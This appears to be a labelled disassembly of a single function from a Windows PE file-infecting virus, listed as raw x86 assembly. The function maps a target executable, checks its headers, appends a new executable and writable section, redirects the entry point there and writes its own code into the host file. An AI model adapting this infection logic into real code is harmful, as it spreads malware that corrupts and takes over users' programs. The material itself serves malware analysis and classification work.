Function at 0x408544
Capabilities:
Enumerate pe sections
Parse pe header
Read file via mapping
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40e110
push 0x40c756
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
sub esp, 0xb0
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 0x98], 0
and dword [ebp - 0x9c], 0
and dword [ebp - 0xc0], 0
and dword [ebp - 0x20], 0
and dword [ebp - 0xbc], 0
and dword [ebp - 0x28], 0
or dword [ebp - 0xa0], 0xffffffff
and dword [ebp - 0x24], 0
and dword [ebp - 0xc4], 0
and dword [ebp - 0x1c], 0
and dword [ebp - 0x6c], 0
cmp dword [0x413d94], 0
jne 0x4085c5
call fcn.00408469
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x413da8], eax
and dword [ebp - 4], 0
push dword [ebp + 8]
call fcn.0040818b
cmp eax, 1
jne 0x4085db
jmp 0x408b0e
push 0x80
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0xffffffff
jne 0x408618
jmp 0x408b0e
push 0
lea eax, [ebp - 0xb8]
push eax
push dword [ebp - 0xa0]
call fcn.00402d18
push 2
push 0
push 0
push dword [ebp - 0xa0]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x20], eax
push 0
push 0
push 0
push 4
push 0
push dword [ebp - 0xa0]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x24], eax
push 0x400
push 0
push 0
push 0xf001f
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0
je 0x408690
mov eax, dword [ebp - 0x98]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x408695
jmp 0x408b0e
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x98]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xc4], ecx
mov eax, dword [ebp - 0xc4]
add eax, 0xf8
mov ecx, dword [ebp - 0x98]
add ecx, 0x400
cmp eax, ecx
ja 0x4086d5
mov eax, dword [ebp - 0xc4]
movzx eax, word [eax]
cmp eax, 0x4550
je 0x4086da
jmp 0x408b0e
push 0
push dword [ebp - 0x20]
push dword [ebp - 0xc4]
call fcn.0040823e
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
add eax, 0x28
mov ecx, dword [ebp - 0x98]
add ecx, 0x400
cmp eax, ecx
jbe 0x408708
jmp 0x408b0e
mov eax, dword [ebp - 0x1c]
movzx eax, word [eax + 0x22]
mov ecx, dword [0x412fa8]
movzx ecx, word [ecx]
cmp eax, ecx
jl 0x408721
jmp 0x408b0e
mov eax, dword [ebp - 0x1c]
movzx eax, word [eax + 0x22]
test eax, eax
je 0x4087aa
mov dword [ebp - 0xc0], 1
mov eax, dword [ebp - 0xc4]
mov ax, word [eax + 6]
sub ax, 1
mov ecx, dword [ebp - 0xc4]
mov word [ecx + 6], ax
mov eax, dword [ebp - 0xc4]
cmp dword [eax + 0x1c], 0
je 0x408772
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [eax + 0x1c]
sub eax, dword [ecx + 8]
mov ecx, dword [ebp - 0xc4]
mov dword [ecx + 0x1c], eax
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx + 4]
mov dword [eax + 0x28], ecx
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [eax + 0x50]
sub eax, dword [ecx + 8]
mov ecx, dword [ebp - 0xc4]
mov dword [ecx + 0x50], eax
push 0x400
push dword [ebp - 0x98]
call dword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax + 0x28]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0xc4]
movzx eax, word [eax + 6]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0xc4]
lea eax, [ecx + eax + 0xf8]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x6c]
add eax, 0x28
mov ecx, dword [ebp - 0x98]
add ecx, 0x400
cmp eax, ecx
jbe 0x4087f1
jmp 0x408b0e
cmp dword [ebp - 0xc0], 0
jne 0x408843
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x9c], eax
and dword [ebp - 0xc8], 0
jmp 0x408819
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0xa
jae 0x408843
mov eax, dword [ebp - 0x9c]
cmp dword [eax], 0
je 0x408832
jmp 0x408b0e
mov eax, dword [ebp - 0x9c]
add eax, 4
mov dword [ebp - 0x9c], eax
jmp 0x40880c
call fcn.00402415
and eax, 0xffffff
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0xbc]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0xc4]
push dword [eax + 0x38]
mov eax, dword [0x410a5c]
add eax, dword [0x413d8c]
push eax
call fcn.0040800e
mov ecx, dword [ebp - 0x6c]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0xc4]
push dword [eax + 0x3c]
mov eax, dword [0x410a5c]
add eax, dword [0x413d8c]
push eax
call fcn.0040800e
mov ecx, dword [ebp - 0x6c]
mov dword [ecx + 0x10], eax
mov eax, dword [ebp - 0x6c]
mov dword [eax + 0x24], 0xe0000020
mov eax, dword [ebp - 0x6c]
mov ecx, dword [0x412fa8]
mov cx, word [ecx]
mov word [eax + 0x22], cx
push 1
push dword [ebp - 0x20]
push dword [ebp - 0xc4]
call fcn.0040823e
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc4]
push dword [eax + 0x38]
mov eax, dword [ebp - 0x1c]
push dword [eax + 8]
call fcn.0040800e
mov ecx, dword [ebp - 0x1c]
add eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx + 0xc], eax
push 2
push dword [ebp - 0x20]
push dword [ebp - 0xc4]
call fcn.0040823e
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc4]
push dword [eax + 0x3c]
mov eax, dword [ebp - 0x1c]
push dword [eax + 0x10]
call fcn.0040800e
mov ecx, dword [ebp - 0x1c]
add eax, dword [ecx + 0x14]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx + 0x14], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax + 0x14]
cmp eax, dword [ebp - 0x20]
jae 0x408940
mov eax, dword [ebp - 0xc4]
push dword [eax + 0x3c]
push dword [ebp - 0x20]
call fcn.0040800e
mov ecx, dword [ebp - 0x6c]
mov dword [ecx + 0x14], eax
mov eax, dword [ebp - 0xc4]
and dword [eax + 0x58], 0
mov eax, dword [ebp - 0xc4]
mov ax, word [eax + 6]
add ax, 1
mov ecx, dword [ebp - 0xc4]
mov word [ecx + 6], ax
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x6c]
mov ecx, dword [ecx + 0xc]
mov dword [eax + 0x28], ecx
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x6c]
add eax, dword [ecx + 8]
mov ecx, dword [ebp - 0xc4]
mov dword [ecx + 0x50], eax
mov eax, dword [ebp - 0xc4]
cmp dword [eax + 0x1c], 0
je 0x4089ad
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax + 0x1c]
mov ecx, dword [ebp - 0x6c]
add eax, dword [ecx + 8]
mov ecx, dword [ebp - 0xc4]
mov dword [ecx + 0x1c], eax
push 0x28
push dword [ebp - 0x6c]
lea eax, [ebp - 0x94]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp - 0x98]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
and dword [ebp - 0x98], 0
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [ebp - 0x24], 0
mov eax, dword [0x413d94]
sub eax, 0x4107c8
mov ecx, dword [ebp - 0x88]
lea eax, [ecx + eax + 4]
mov ecx, dword [ebp - 0xbc]
sub ecx, eax
mov eax, dword [0x413d94]
mov dword [eax], ecx
push 0x40
push 0
lea eax, [ebp - 0x68]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.00402415
push eax
push 0x40de60
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov eax, dword [0x413d98]
mov dword [eax], 0x5c3a43
mov eax, dword [0x413d98]
mov cl, byte [ebp - 0x68]
mov byte [eax + 3], cl
mov eax, dword [0x413d9c]
mov ecx, dword [ebp - 0x67]
mov dword [eax], ecx
mov eax, dword [0x413da0]
mov ecx, dword [ebp - 0x63]
mov dword [eax], ecx
mov eax, dword [0x413da0]
mov byte [eax + 3], 0x2e
mov eax, dword [0x413da4]
mov dword [eax], 0x657865
push 2
push 0
mov eax, dword [ebp - 0x80]
sub eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x84]
push eax
push dword [ebp - 0xa0]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp - 0xa0]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 2
push 0
xor eax, eax
sub eax, dword [ebp - 0x84]
push eax
push dword [ebp - 0xa0]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x28]
push eax
push dword [0x410a5c]
push 0x4107c8
push dword [ebp - 0xa0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x28]
push eax
push dword [0x413d8c]
push dword [0x413d88]
push dword [ebp - 0xa0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 1
lea eax, [ebp - 0xb8]
push eax
push dword [ebp - 0xa0]
call fcn.00402d18
push dword [ebp - 0xa0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 0xa0], 0xffffffff
cmp dword [ebp - 0x98], 0
je 0x408b23
push dword [ebp - 0x98]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
cmp dword [ebp - 0x24], 0
je 0x408b32
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xa0], 0xffffffff
je 0x408b47
push dword [ebp - 0xa0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
jmp 0x408b91
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4